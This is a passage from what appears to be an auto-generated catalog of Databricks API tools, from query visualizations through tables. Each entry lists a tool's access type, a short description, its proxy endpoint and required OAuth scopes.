Scopes: sql:write. databricks_query_visualizations_legacy_delete (write, destructive) — DESTRUCTIVE - Removes a visualization from the query. **Warning**: This API is deprecated. Please use :method:queryvisualizations/delete instead. `Learn more `__ POST /api/v1/tools/databricks/query-visualizations-legacy-delete. Scopes: sql:write. databricks_query_visualizations_legacy_update (write) — Updates visualization in the query. **Warning**: This API is deprecated. Please use :method:queryvisualizations/update instead. `Learn more `__ POST /api/v1/tools/databricks/query-visualizations-legacy-update. Scopes: sql:write. databricks_query_visualizations_update (write) — Updates a visualization. PATCH /api/2.0/sql/visualizations/{id} on Databricks. Requires id, update_mask. POST /api/v1/tools/databricks/query-visualizations-update. Scopes: sql:write. databricks_recipient_activation_get_activation_url_info (read) — Gets an activation URL for a share. GET /api/2.1/unity-catalog/public/data_sharing_activation_info/{activation_url} on Databricks. Requires activation_url. GET /api/v1/tools/databricks/recipient-activation-get-activation-url-info. Scopes: catalog:read. databricks_recipient_federation_policies_create (write) — Create a federation policy for an OIDC_FEDERATION recipient for sharing data from Databricks to non-Databricks recipients. The caller must be the owner of the recipient. When sharing data from Databricks to non-Databricks clients, you can define a... POST /api/v1/tools/databricks/recipient-federation-policies-create. Scopes: catalog:write. databricks_recipient_federation_policies_delete (write, destructive) — DESTRUCTIVE - Deletes an existing federation policy for an OIDC_FEDERATION recipient. The caller must be the owner of the recipient. POST /api/v1/tools/databricks/recipient-federation-policies-delete. Scopes: catalog:write. databricks_recipient_federation_policies_get_federation_policy (read) — Reads an existing federation policy for an OIDC_FEDERATION recipient for sharing data from Databricks to non-Databricks recipients. The caller must have read access to the recipient. GET /api/v1/tools/databricks/recipient-federation-policies-get-federation-policy. Scopes: catalog:read. databricks_recipient_federation_policies_list (read) — Lists federation policies for an OIDC_FEDERATION recipient for sharing data from Databricks to non-Databricks recipients. The caller must have read access to the recipient. GET /api/v1/tools/databricks/recipient-federation-policies-list. Scopes: catalog:read. databricks_recipient_federation_policies_update (write) — Updates an existing federation policy for an OIDC_RECIPIENT. The caller must be the owner of the recipient. POST /api/v1/tools/databricks/recipient-federation-policies-update. Scopes: catalog:write. databricks_recipients_create (write) — Creates a new recipient with the delta sharing authentication type in the metastore. The caller must be a metastore admin or have the **CREATE_RECIPIENT** privilege on the metastore. POST /api/v1/tools/databricks/recipients-create. Scopes: catalog:write. databricks_recipients_delete (write, destructive) — DESTRUCTIVE - Deletes the specified recipient from the metastore. The caller must be the owner of the recipient. POST /api/v1/tools/databricks/recipients-delete. Scopes: catalog:write. databricks_recipients_get (read) — Gets a share recipient from the metastore. The caller must be one of: - A user with **USE_RECIPIENT** privilege on the metastore - The owner of the share recipient - A metastore admin GET /api/v1/tools/databricks/recipients-get. Scopes: catalog:read. databricks_recipients_list (read) — Gets an array of all share recipients within the current metastore where: - the caller is a metastore admin, or - the caller is the owner. There is no guarantee of a specific ordering of the elements in the array. GET /api/v1/tools/databricks/recipients-list. Scopes: catalog:read. databricks_recipients_share_permissions (read) — Gets the share permissions for the specified Recipient. The caller must have the **USE_RECIPIENT** privilege on the metastore or be the owner of the Recipient. GET /api/v1/tools/databricks/recipients-share-permissions. Scopes: catalog:read. databricks_recipients_update (write) — Updates an existing recipient in the metastore. The caller must be a metastore admin or the owner of the recipient. If the recipient name will be updated, the user must be both a metastore admin and the owner of the recipient. POST /api/v1/tools/databricks/recipients-update. Scopes: catalog:write. databricks_redash_config_get_config (read) — Read workspace configuration for Redash-v2. GET /api/v1/tools/databricks/redash-config-get-config. Scopes: sql:read. databricks_registered_models_create (write) — Creates a new registered model in Unity Catalog. File storage for model versions in the registered model will be located in the default location which is specified by the parent schema, or the parent catalog, or the Metastore. For registered model creation... POST /api/v1/tools/databricks/registered-models-create. Scopes: catalog:write. databricks_registered_models_delete (write, destructive) — DESTRUCTIVE - Deletes a registered model and all its model versions from the specified parent catalog and schema. The caller must be a metastore admin or an owner of the registered model. For the latter case, the caller must also be the owner or have the... POST /api/v1/tools/databricks/registered-models-delete. Scopes: catalog:write. databricks_registered_models_delete_alias (write, destructive) — DESTRUCTIVE - Deletes a registered model alias. The caller must be a metastore admin or an owner of the registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and the **USE_SCHEMA**... POST /api/v1/tools/databricks/registered-models-delete-alias. Scopes: catalog:write. databricks_registered_models_get (read) — Get a registered model. The caller must be a metastore admin or an owner of (or have the **EXECUTE** privilege on) the registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and... GET /api/v1/tools/databricks/registered-models-get. Scopes: catalog:read. databricks_registered_models_list (read) — List registered models. You can list registered models under a particular schema, or list all registered models in the current metastore. The returned models are filtered based on the privileges of the calling user. For example, the metastore admin is able... GET /api/v1/tools/databricks/registered-models-list. Scopes: catalog:read. databricks_registered_models_set_alias (write) — Set an alias on the specified registered model. The caller must be a metastore admin or an owner of the registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and the... POST /api/v1/tools/databricks/registered-models-set-alias. Scopes: catalog:write. databricks_registered_models_update (write) — Updates the specified registered model. The caller must be a metastore admin or an owner of the registered model. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and the **USE_SCHEMA**... POST /api/v1/tools/databricks/registered-models-update. Scopes: catalog:write. databricks_repos_create (write) — Creates a repo in the workspace and links it to the remote Git repo specified. Note that repos created programmatically must be linked to a remote Git repo, unlike repos created in the browser. POST /api/v1/tools/databricks/repos-create. Scopes: workspace:write. databricks_repos_delete (write, destructive) — DESTRUCTIVE - Deletes the specified repo. POST /api/v1/tools/databricks/repos-delete. Scopes: workspace:write. databricks_repos_get (read) — Returns the repo with the given repo ID. GET /api/v1/tools/databricks/repos-get. Scopes: workspace:read. databricks_repos_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/repos-get-permission-levels. Scopes: workspace:read. databricks_repos_get_permissions (read) — Gets the permissions of a repo. Repos can inherit permissions from their root object. GET /api/v1/tools/databricks/repos-get-permissions. Scopes: workspace:read. databricks_repos_list (read) — Returns repos that the calling user has Manage permissions on. Use ``next_page_token`` to iterate through additional pages. Deprecated: This operation does not return a complete list of the repos in the workspace, because repos with the Git CLI enabled are... GET /api/v1/tools/databricks/repos-list. Scopes: workspace:read. databricks_repos_update (write) — Updates the repo to a different branch or tag, or updates the repo to the latest commit on the same branch. POST /api/v1/tools/databricks/repos-update. Scopes: workspace:write. databricks_resource_quotas_get_quota (read) — The GetQuota API returns usage information for a single resource quota, defined as a child-parent pair. This API also refreshes the quota count if it is out of date. Refreshes are triggered asynchronously. The updated count might not be returned in the... GET /api/v1/tools/databricks/resource-quotas-get-quota. Scopes: catalog:read. databricks_resource_quotas_list_quotas (read) — ListQuotas returns all quota values under the metastore. There are no SLAs on the freshness of the counts returned. This API does not trigger a refresh of quota counts. PAGINATION BEHAVIOR: The API is by default paginated, a page may contain zero results... GET /api/v1/tools/databricks/resource-quotas-list-quotas. Scopes: catalog:read. databricks_restrict_workspace_admins_delete (write, destructive) — DESTRUCTIVE - Reverts the restrict workspace admins setting status for the workspace. A fresh etag needs to be provided in ``DELETE`` requests (as a query parameter). The etag can be retrieved by making a ``GET`` request before the DELETE request. If the... POST /api/v1/tools/databricks/restrict-workspace-admins-delete. Scopes: settings:write. databricks_restrict_workspace_admins_get (read) — Gets the restrict workspace admins setting. GET /api/v1/tools/databricks/restrict-workspace-admins-get. Scopes: settings:read. databricks_restrict_workspace_admins_update (write) — Updates the restrict workspace admins setting for the workspace. A fresh etag needs to be provided in ``PATCH`` requests (as part of the setting field). The etag can be retrieved by making a GET request before the ``PATCH`` request. If the setting is... POST /api/v1/tools/databricks/restrict-workspace-admins-update. Scopes: settings:write. databricks_rfa_batch_create_access_requests (write) — Creates access requests for Unity Catalog permissions for a specified principal on a securable object. This Batch API can take in multiple principals, securable objects, and permissions as the input and returns the access request destinations for each... POST /api/v1/tools/databricks/rfa-batch-create-access-requests. Scopes: catalog:write. databricks_rfa_get_access_request_destinations (read) — Gets an array of access request destinations for the specified securable. Any caller can see URL destinations or the destinations on the metastore. Otherwise, only those with **BROWSE** permissions on the securable can see destinations. The supported... GET /api/v1/tools/databricks/rfa-get-access-request-destinations. Scopes: catalog:read. databricks_rfa_update_access_request_destinations (write) — Updates the access request destinations for the given securable. The caller must be a metastore admin, the owner of the securable, or a user that has the **MANAGE** privilege on the securable in order to assign destinations. A maximum of 5 emails and 5... POST /api/v1/tools/databricks/rfa-update-access-request-destinations. Scopes: catalog:write. databricks_schemas_create (write) — Creates a new schema for catalog in the Metastore. The caller must be a metastore admin, or have the **CREATE_SCHEMA** privilege in the parent catalog. POST /api/v1/tools/databricks/schemas-create. Scopes: catalog:write. databricks_schemas_delete (write, destructive) — DESTRUCTIVE - Deletes the specified schema from the parent catalog. The caller must be the owner of the schema or an owner of the parent catalog. POST /api/v1/tools/databricks/schemas-delete. Scopes: catalog:write. databricks_schemas_get (read) — Gets the specified schema within the metastore. The caller must be a metastore admin, the owner of the schema, or a user that has the **USE_SCHEMA** privilege on the schema. GET /api/v1/tools/databricks/schemas-get. Scopes: catalog:read. databricks_schemas_list (read) — Gets an array of schemas for a catalog in the metastore. If the caller is the metastore admin or the owner of the parent catalog, all schemas for the catalog will be retrieved. Otherwise, only schemas owned by the caller (or for which the caller has the... GET /api/v1/tools/databricks/schemas-list. Scopes: catalog:read. databricks_schemas_update (write) — Updates a schema for a catalog. The caller must be the owner of the schema or a metastore admin. If the caller is a metastore admin, only the **owner** field can be changed in the update. If the **name** field must be updated, the caller must be a metastore... POST /api/v1/tools/databricks/schemas-update. Scopes: catalog:write. databricks_secrets_create_scope (write) — Creates a new secret scope. The scope name must consist of alphanumeric characters, dashes, underscores, and periods, and may not exceed 128 characters. Example request: .. code:: { "scope": "my-simple-databricks-scope", "initial_manage_principal": "users"... POST /api/v1/tools/databricks/secrets-create-scope. Scopes: workspace:write. databricks_secrets_delete_acl (write, destructive) — DESTRUCTIVE - Deletes the given ACL on the given scope. Users must have the ``MANAGE`` permission to invoke this API. Example request: .. code:: { "scope": "my-secret-scope", "principal": "data-scientists" } Throws ``RESOURCE_DOES_NOT_EXIST`` if no such... POST /api/v1/tools/databricks/secrets-delete-acl. Scopes: workspace:write. databricks_secrets_delete_scope (write, destructive) — DESTRUCTIVE - Deletes a secret scope. Example request: .. code:: { "scope": "my-secret-scope" } Throws ``RESOURCE_DOES_NOT_EXIST`` if the scope does not exist. Throws ``PERMISSION_DENIED`` if the user does not have permission to make this API call. Throws... POST /api/v1/tools/databricks/secrets-delete-scope. Scopes: workspace:write. databricks_secrets_delete_secret (write, destructive) — DESTRUCTIVE - Deletes the secret stored in this secret scope. You must have ``WRITE`` or ``MANAGE`` permission on the Secret Scope. Example request: .. code:: { "scope": "my-secret-scope", "key": "my-secret-key" } Throws ``RESOURCE_DOES_NOT_EXIST`` if no such... POST /api/v1/tools/databricks/secrets-delete-secret. Scopes: workspace:write. databricks_secrets_get_acl (read) — Describes the details about the given ACL, such as the group and permission. Users must have the ``MANAGE`` permission to invoke this API. Example response: .. code:: { "principal": "data-scientists", "permission": "READ" } Throws... GET /api/v1/tools/databricks/secrets-get-acl. Scopes: workspace:read. databricks_secrets_get_secret (read) — Gets a secret for a given key and scope. This API can only be called from the DBUtils interface. Users need the READ permission to make this call. Example response: .. code:: { "key": "my-string-key", "value": } Note that the secret value returned is in... GET /api/v1/tools/databricks/secrets-get-secret. Scopes: workspace:read. databricks_secrets_list_acls (read) — Lists the ACLs set on the given scope. Users must have the ``MANAGE`` permission to invoke this API. Example response: .. code:: { "acls": [{ "principal": "admins", "permission": "MANAGE" },{ "principal": "data-scientists", "permission": "READ" }] } Throws... GET /api/v1/tools/databricks/secrets-list-acls. Scopes: workspace:read. databricks_secrets_list_scopes (read) — Lists all secret scopes available in the workspace. Example response: .. code:: { "scopes": [{ "name": "my-databricks-scope", "backend_type": "DATABRICKS" },{ "name": "mount-points", "backend_type": "DATABRICKS" }] } Throws ``PERMISSION_DENIED`` if the user... GET /api/v1/tools/databricks/secrets-list-scopes. Scopes: workspace:read. databricks_secrets_list_secrets (read) — Lists the secret keys that are stored at this scope. This is a metadata-only operation; secret data cannot be retrieved using this API. Users need the READ permission to make this call. Example response: .. code:: { "secrets": [ { "key": "my-string-key""... GET /api/v1/tools/databricks/secrets-list-secrets. Scopes: workspace:read. databricks_secrets_put_acl (write) — Creates or overwrites the ACL associated with the given principal (user or group) on the specified scope point. In general, a user or group will use the most powerful permission available to them, and permissions are ordered as follows: - ``MANAGE`` -... POST /api/v1/tools/databricks/secrets-put-acl. Scopes: workspace:write. databricks_secrets_put_secret (write) — Inserts a secret under the provided scope with the given name. If a secret already exists with the same name, this command overwrites the existing secret's value. The server encrypts the secret using the secret scope's encryption settings before storing it... POST /api/v1/tools/databricks/secrets-put-secret. Scopes: workspace:write. databricks_secrets_uc_create_secret (write) — Creates a new secret in Unity Catalog. You must be the owner of the parent schema or have the **CREATE_SECRET** and **USE SCHEMA** privileges on the parent schema and **USE CATALOG** on the parent catalog. The secret is stored in the specified catalog and... POST /api/v1/tools/databricks/secrets-uc-create-secret. Scopes: catalog:write. databricks_secrets_uc_delete_secret (write, destructive) — DESTRUCTIVE - Deletes a secret by its three-level (fully qualified) name. You must be the owner of the secret or a metastore admin. POST /api/v1/tools/databricks/secrets-uc-delete-secret. Scopes: catalog:write. databricks_secrets_uc_get_secret (read) — Gets a secret by its three-level (fully qualified) name. You must be a metastore admin, the owner of the secret, or have the **MANAGE** privilege on the secret. The secret value isn't returned by default. To retrieve it, you must also have the... GET /api/v1/tools/databricks/secrets-uc-get-secret. Scopes: catalog:read. databricks_secrets_uc_list_secrets (read) — Lists secrets in Unity Catalog. You must be a metastore admin, the owner of the secret, or have the **MANAGE** privilege on the secret. Both **catalog_name** and **schema_name** must be specified together to filter secrets within a specific schema. Results... GET /api/v1/tools/databricks/secrets-uc-list-secrets. Scopes: catalog:read. databricks_secrets_uc_update_secret (write) — Updates an existing secret in Unity Catalog. You must be the owner of the secret or a metastore admin. If you are a metastore admin, only the **owner** field can be changed. Use the **update_mask** field to specify which fields to update. Supported... POST /api/v1/tools/databricks/secrets-uc-update-secret. Scopes: catalog:write. databricks_service_principals_create (write) — Creates a new service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-create. Scopes: iam:write. databricks_service_principals_delete (write, destructive) — DESTRUCTIVE - Delete a single service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-delete. Scopes: iam:write. databricks_service_principals_get (read) — Gets the details for a single service principal define in the Databricks workspace. GET /api/v1/tools/databricks/service-principals-get. Scopes: iam:read. databricks_service_principals_list (read) — Gets the set of service principals associated with a Databricks workspace. GET /api/v1/tools/databricks/service-principals-list. Scopes: iam:read. databricks_service_principals_patch (write) — Partially updates the details of a single service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-patch. Scopes: iam:write. databricks_service_principals_update (write) — Updates the details of a single service principal. This action replaces the existing service principal with the same name. POST /api/v1/tools/databricks/service-principals-update. Scopes: iam:write. databricks_service_principals_v2_create (write) — Creates a new service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-v2-create. Scopes: iam:write. databricks_service_principals_v2_delete (write, destructive) — DESTRUCTIVE - Delete a single service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-v2-delete. Scopes: iam:write. databricks_service_principals_v2_get (read) — Gets the details for a single service principal define in the Databricks workspace. GET /api/v1/tools/databricks/service-principals-v2-get. Scopes: iam:read. databricks_service_principals_v2_list (read) — Gets the set of service principals associated with a Databricks workspace. GET /api/v1/tools/databricks/service-principals-v2-list. Scopes: iam:read. databricks_service_principals_v2_patch (write) — Partially updates the details of a single service principal in the Databricks workspace. POST /api/v1/tools/databricks/service-principals-v2-patch. Scopes: iam:write. databricks_service_principals_v2_update (write) — Updates the details of a single service principal. This action replaces the existing service principal with the same name. POST /api/v1/tools/databricks/service-principals-v2-update. Scopes: iam:write. databricks_serving_endpoints_build_logs (read) — Retrieves the build logs associated with the provided served model. GET /api/v1/tools/databricks/serving-endpoints-build-logs. Scopes: ml:read. databricks_serving_endpoints_create (write) — Create a new serving endpoint. POST /api/2.0/serving-endpoints on Databricks. Requires name. POST /api/v1/tools/databricks/serving-endpoints-create. Scopes: ml:write. databricks_serving_endpoints_create_provisioned_throughput_endpoint (write) — Create a new PT serving endpoint. POST /api/2.0/serving-endpoints/pt on Databricks. Requires name, config. POST /api/v1/tools/databricks/serving-endpoints-create-provisioned-throughput-endpoint. Scopes: ml:write. databricks_serving_endpoints_delete (write, destructive) — DESTRUCTIVE - Delete a serving endpoint. POST /api/v1/tools/databricks/serving-endpoints-delete. Scopes: ml:write. databricks_serving_endpoints_export_metrics (read) — Retrieves the metrics associated with the provided serving endpoint in either Prometheus or OpenMetrics exposition format. GET /api/v1/tools/databricks/serving-endpoints-export-metrics. Scopes: ml:read. databricks_serving_endpoints_get (read) — Retrieves the details for a single serving endpoint. GET /api/v1/tools/databricks/serving-endpoints-get. Scopes: ml:read. databricks_serving_endpoints_get_open_api (read) — Get the query schema of the serving endpoint in OpenAPI format. The schema contains information for the supported paths, input and output format and datatypes. GET /api/v1/tools/databricks/serving-endpoints-get-open-api. Scopes: ml:read. databricks_serving_endpoints_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/serving-endpoints-get-permission-levels. Scopes: ml:read. databricks_serving_endpoints_get_permissions (read) — Gets the permissions of a serving endpoint. Serving endpoints can inherit permissions from their root object. GET /api/v1/tools/databricks/serving-endpoints-get-permissions. Scopes: ml:read. databricks_serving_endpoints_http_request (write) — Make external services call using the credentials stored in UC Connection. POST /api/v1/tools/databricks/serving-endpoints-http-request. Scopes: ml:write. databricks_serving_endpoints_list (read) — Get all serving endpoints. GET /api/2.0/serving-endpoints on Databricks. GET /api/v1/tools/databricks/serving-endpoints-list. Scopes: ml:read. databricks_serving_endpoints_logs (read) — Retrieves the service logs associated with the provided served model. GET /api/v1/tools/databricks/serving-endpoints-logs. Scopes: ml:read. databricks_serving_endpoints_patch (write) — Used to batch add and delete tags from a serving endpoint with a single API call. POST /api/v1/tools/databricks/serving-endpoints-patch. Scopes: ml:write. databricks_serving_endpoints_patch_system_metrics_export_state (write) — Updates the system-metrics-export state of a serving endpoint, independently of the endpoint config (does not trigger a config-version change or redeployment). POST /api/v1/tools/databricks/serving-endpoints-patch-system-metrics-export-state. Scopes: ml:write. databricks_serving_endpoints_patch_telemetry_config (write) — Updates the telemetry configuration of a serving endpoint. POST /api/v1/tools/databricks/serving-endpoints-patch-telemetry-config. Scopes: ml:write. databricks_serving_endpoints_put (write) — Deprecated: Please use AI Gateway to manage rate limits instead. POST /api/v1/tools/databricks/serving-endpoints-put. Scopes: ml:write. databricks_serving_endpoints_put_ai_gateway (write) — Used to update the AI Gateway of a serving endpoint. NOTE: External model, provisioned throughput, and pay-per-token endpoints are fully supported; agent endpoints currently only support inference tables. POST /api/v1/tools/databricks/serving-endpoints-put-ai-gateway. Scopes: ml:write. databricks_serving_endpoints_query (write) — Query a serving endpoint. POST /serving-endpoints/{name}/invocations on Databricks. Requires name. POST /api/v1/tools/databricks/serving-endpoints-query. Scopes: ml:write. databricks_serving_endpoints_update_config (write) — Updates any combination of the serving endpoint's served entities, the compute configuration of those served entities, and the endpoint's traffic config. An endpoint that already has an update in progress can not be updated until the current update... POST /api/v1/tools/databricks/serving-endpoints-update-config. Scopes: ml:write. databricks_serving_endpoints_update_notifications (write) — Updates the email and webhook notification settings for an endpoint. POST /api/v1/tools/databricks/serving-endpoints-update-notifications. Scopes: ml:write. databricks_serving_endpoints_update_provisioned_throughput_endpoint_config (write) — Updates any combination of the pt endpoint's served entities, the compute configuration of those served entities, and the endpoint's traffic config. Updates are instantaneous and endpoint should be updated instantly POST /api/v1/tools/databricks/serving-endpoints-update-provisioned-throughput-endpoint-config. Scopes: ml:write. databricks_shares_create (write) — Creates a new share for data objects. Data objects can be added after creation with **update**. The caller must be a metastore admin or have the **CREATE_SHARE** privilege on the metastore. POST /api/v1/tools/databricks/shares-create. Scopes: catalog:write. databricks_shares_delete (write, destructive) — DESTRUCTIVE - Deletes a data object share from the metastore. The caller must be an owner of the share. POST /api/v1/tools/databricks/shares-delete. Scopes: catalog:write. databricks_shares_get (read) — Gets a data object share from the metastore. The caller must have the USE_SHARE privilege on the metastore or be the owner of the share. GET /api/v1/tools/databricks/shares-get. Scopes: catalog:read. databricks_shares_list_shares (read) — Gets an array of data object shares from the metastore. If the caller has the USE_SHARE privilege on the metastore, all shares are returned. Otherwise, only shares owned by the caller are returned. There is no guarantee of a specific ordering of the... GET /api/v1/tools/databricks/shares-list-shares. Scopes: catalog:read. databricks_shares_share_permissions (read) — Gets the permissions for a data share from the metastore. The caller must have the USE_SHARE privilege on the metastore or be the owner of the share. GET /api/v1/tools/databricks/shares-share-permissions. Scopes: catalog:read. databricks_shares_update (write) — Updates the share with the changes and data objects in the request. The caller must be the owner of the share or a metastore admin. When the caller is a metastore admin, only the **owner** field can be updated. In the case the share name is changed... POST /api/v1/tools/databricks/shares-update. Scopes: catalog:write. databricks_sql_results_download_delete (write, destructive) — DESTRUCTIVE - Reverts the SQL Results Download setting to its default value. POST /api/v1/tools/databricks/sql-results-download-delete. Scopes: settings:write. databricks_sql_results_download_get (read) — Gets the SQL Results Download setting. GET /api/2.0/settings/types/sql_results_download/names/default on Databricks. GET /api/v1/tools/databricks/sql-results-download-get. Scopes: settings:read. databricks_sql_results_download_update (write) — Updates the SQL Results Download setting. POST /api/v1/tools/databricks/sql-results-download-update. Scopes: settings:write. databricks_statement_execution_cancel_execution (write, destructive) — DESTRUCTIVE - Requests that an executing statement be canceled. Callers must poll for status to see the terminal state. Cancel response is empty; receiving response indicates successful receipt. POST /api/v1/tools/databricks/statement-execution-cancel-execution. Scopes: sql:write. databricks_statement_execution_execute_statement (write) — Execute a SQL statement and optionally await its results for a specified time. **Use case: small result sets with INLINE + JSON_ARRAY** For flows that generate small and predictable result sets ( `__. StatementResponse contains ``statement_id`` and... POST /api/v1/tools/databricks/statement-execution-execute-statement. Scopes: sql:write. databricks_statement_execution_get_statement (read) — This request can be used to poll for the statement's status. StatementResponse contains ``statement_id`` and ``status``; other fields might be absent or present depending on context. When the ``status.state`` field is ``SUCCEEDED`` it will also return the... GET /api/v1/tools/databricks/statement-execution-get-statement. Scopes: sql:read. databricks_statement_execution_get_statement_result_chunk_n (read) — After the statement execution has ``SUCCEEDED``, this request can be used to fetch any chunk by index. Whereas the first chunk with ``chunk_index=0`` is typically fetched with :method:statementexecution/executeStatement or... GET /api/v1/tools/databricks/statement-execution-get-statement-result-chunk-n. Scopes: sql:read. databricks_storage_credentials_create (write) — Creates a new storage credential. The caller must be a metastore admin or have the **CREATE_STORAGE_CREDENTIAL** privilege on the metastore. POST /api/v1/tools/databricks/storage-credentials-create. Scopes: catalog:write. databricks_storage_credentials_delete (write, destructive) — DESTRUCTIVE - Deletes a storage credential from the metastore. The caller must be an owner of the storage credential. POST /api/v1/tools/databricks/storage-credentials-delete. Scopes: catalog:write. databricks_storage_credentials_get (read) — Gets a storage credential from the metastore. The caller must be a metastore admin, the owner of the storage credential, or have some permission on the storage credential. GET /api/v1/tools/databricks/storage-credentials-get. Scopes: catalog:read. databricks_storage_credentials_list (read) — Gets an array of storage credentials (as **StorageCredentialInfo** objects). The array is limited to only those storage credentials the caller has permission to access. If the caller is a metastore admin, retrieval of credentials is unrestricted. There is... GET /api/v1/tools/databricks/storage-credentials-list. Scopes: catalog:read. databricks_storage_credentials_update (write) — Updates a storage credential on the metastore. The caller must be the owner of the storage credential or a metastore admin. If the caller is a metastore admin, only the **owner** field can be changed. POST /api/v1/tools/databricks/storage-credentials-update. Scopes: catalog:write. databricks_storage_credentials_validate (write) — Validates a storage credential. At least one of **external_location_name** and **url** need to be provided. If only one of them is provided, it will be used for validation. And if both are provided, the **url** will be used for validation, and... POST /api/v1/tools/databricks/storage-credentials-validate. Scopes: catalog:write. databricks_supervisor_agents_create_example (write) — Creates an example for a Supervisor Agent. POST /api/v1/tools/databricks/supervisor-agents-create-example. Scopes: ml:write. databricks_supervisor_agents_create_supervisor_agent (write) — Creates a new Supervisor Agent. POST /api/2.1/supervisor-agents on Databricks. POST /api/v1/tools/databricks/supervisor-agents-create-supervisor-agent. Scopes: ml:write. databricks_supervisor_agents_create_tool (write) — Creates a Tool under a Supervisor Agent. Specify one of "genie_space", "knowledge_assistant", "uc_function", "uc_connection", "app", "volume", "dashboard", "table", "vector_search_index", "catalog", "schema", "supervisor_agent", "databricks_web_search"... POST /api/v1/tools/databricks/supervisor-agents-create-tool. Scopes: ml:write. databricks_supervisor_agents_delete_example (write, destructive) — DESTRUCTIVE - Deletes an example from a Supervisor Agent. POST /api/v1/tools/databricks/supervisor-agents-delete-example. Scopes: ml:write. databricks_supervisor_agents_delete_supervisor_agent (write, destructive) — DESTRUCTIVE - Deletes a Supervisor Agent. POST /api/v1/tools/databricks/supervisor-agents-delete-supervisor-agent. Scopes: ml:write. databricks_supervisor_agents_delete_tool (write, destructive) — DESTRUCTIVE — Deletes a Tool. DELETE /api/2.1/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/supervisor-agents-delete-tool. Scopes: ml:write. databricks_supervisor_agents_get_example (read) — Gets an example from a Supervisor Agent. GET /api/v1/tools/databricks/supervisor-agents-get-example. Scopes: ml:read. databricks_supervisor_agents_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/supervisor-agents-get-permission-levels. Scopes: ml:read. databricks_supervisor_agents_get_permissions (read) — Gets the permissions of a supervisor agent. Supervisor agents can inherit permissions from their root object. GET /api/v1/tools/databricks/supervisor-agents-get-permissions. Scopes: ml:read. databricks_supervisor_agents_get_supervisor_agent (read) — Gets a Supervisor Agent. GET /api/2.1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/supervisor-agents-get-supervisor-agent. Scopes: ml:read. databricks_supervisor_agents_get_tool (read) — Gets a Tool. GET /api/2.1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/supervisor-agents-get-tool. Scopes: ml:read. databricks_supervisor_agents_list_examples (read) — Lists examples under a Supervisor Agent. GET /api/v1/tools/databricks/supervisor-agents-list-examples. Scopes: ml:read. databricks_supervisor_agents_list_supervisor_agents (read) — Lists Supervisor Agents. GET /api/2.1/supervisor-agents on Databricks. GET /api/v1/tools/databricks/supervisor-agents-list-supervisor-agents. Scopes: ml:read. databricks_supervisor_agents_list_tools (read) — Lists Tools under a Supervisor Agent. GET /api/2.1/{parent}/tools on Databricks. Requires parent. GET /api/v1/tools/databricks/supervisor-agents-list-tools. Scopes: ml:read. databricks_supervisor_agents_update_example (write) — Updates an example in a Supervisor Agent. POST /api/v1/tools/databricks/supervisor-agents-update-example. Scopes: ml:write. databricks_supervisor_agents_update_supervisor_agent (write) — Updates a Supervisor Agent. The fields that are required depend on the paths specified in ``update_mask``. Only fields included in the mask will be updated. POST /api/v1/tools/databricks/supervisor-agents-update-supervisor-agent. Scopes: ml:write. databricks_supervisor_agents_update_tool (write) — Updates a Tool. Only the ``description`` field can be updated. To change immutable fields such as tool type, spec, or tool ID, delete the tool and recreate it. POST /api/v1/tools/databricks/supervisor-agents-update-tool. Scopes: ml:write. databricks_system_schemas_disable (write, destructive) — DESTRUCTIVE - Disables the system schema and removes it from the system catalog. The caller must be an account admin or a metastore admin. POST /api/v1/tools/databricks/system-schemas-disable. Scopes: catalog:write. databricks_system_schemas_enable (write) — Enables the system schema and adds it to the system catalog. The caller must be an account admin or a metastore admin. POST /api/v1/tools/databricks/system-schemas-enable. Scopes: catalog:write. databricks_system_schemas_list (read) — Gets an array of system schemas for a metastore. The caller must be an account admin or a metastore admin. NOTE: we recommend using max_results=0 to use the paginated version of this API. Unpaginated calls will be deprecated soon. PAGINATION BEHAVIOR: When... GET /api/v1/tools/databricks/system-schemas-list. Scopes: catalog:read. databricks_table_constraints_create (write) — Creates a new table constraint. For the table constraint creation to succeed, the user must satisfy both of these conditions: - the user must have the **USE_CATALOG** privilege on the table's parent catalog, the **USE_SCHEMA** privilege on the table's... POST /api/v1/tools/databricks/table-constraints-create. Scopes: catalog:write. databricks_table_constraints_delete (write, destructive) — DESTRUCTIVE - Deletes a table constraint. For the table constraint deletion to succeed, the user must satisfy both of these conditions: - the user must have the **USE_CATALOG** privilege on the table's parent catalog, the **USE_SCHEMA** privilege on the... POST /api/v1/tools/databricks/table-constraints-delete. Scopes: catalog:write. databricks_tables_create (write) — Creates a new table in the specified catalog and schema. To create an external delta table, the caller must have the **EXTERNAL_USE_SCHEMA** privilege on the parent schema and the **EXTERNAL_USE_LOCATION** privilege on the external location. These... POST /api/v1/tools/databricks/tables-create. Scopes: catalog:write. databricks_tables_delete (write, destructive) — DESTRUCTIVE - Deletes a table from the specified parent catalog and schema. The caller must be the owner of the parent catalog, have the **USE_CATALOG** privilege on the parent catalog and be the owner of the parent schema, or be the owner of the table and... POST /api/v1/tools/databricks/tables-delete. Scopes: catalog:write. databricks_tables_exists (read) — Gets if a table exists in the metastore for a specific catalog and schema. The caller must satisfy one of the following requirements: - Be a metastore admin - Be the owner of the parent catalog - Be the owner of the parent schema and have the... GET /api/v1/tools/databricks/tables-exists. Scopes: catalog:read. databricks_tables_get (read) — Gets a table from the metastore for a specific catalog and schema. The caller must satisfy one of the following requirements: - Be a metastore admin - Be the owner of the parent catalog - Be the owner of the parent schema and have the **USE_CATALOG**... GET /api/v1/tools/databricks/tables-get. Scopes: catalog:read. databricks_tables_list (read) — Gets an array of all tables for the current metastore under the parent catalog and schema. The caller must be a metastore admin or an owner of (or have the **SELECT** privilege 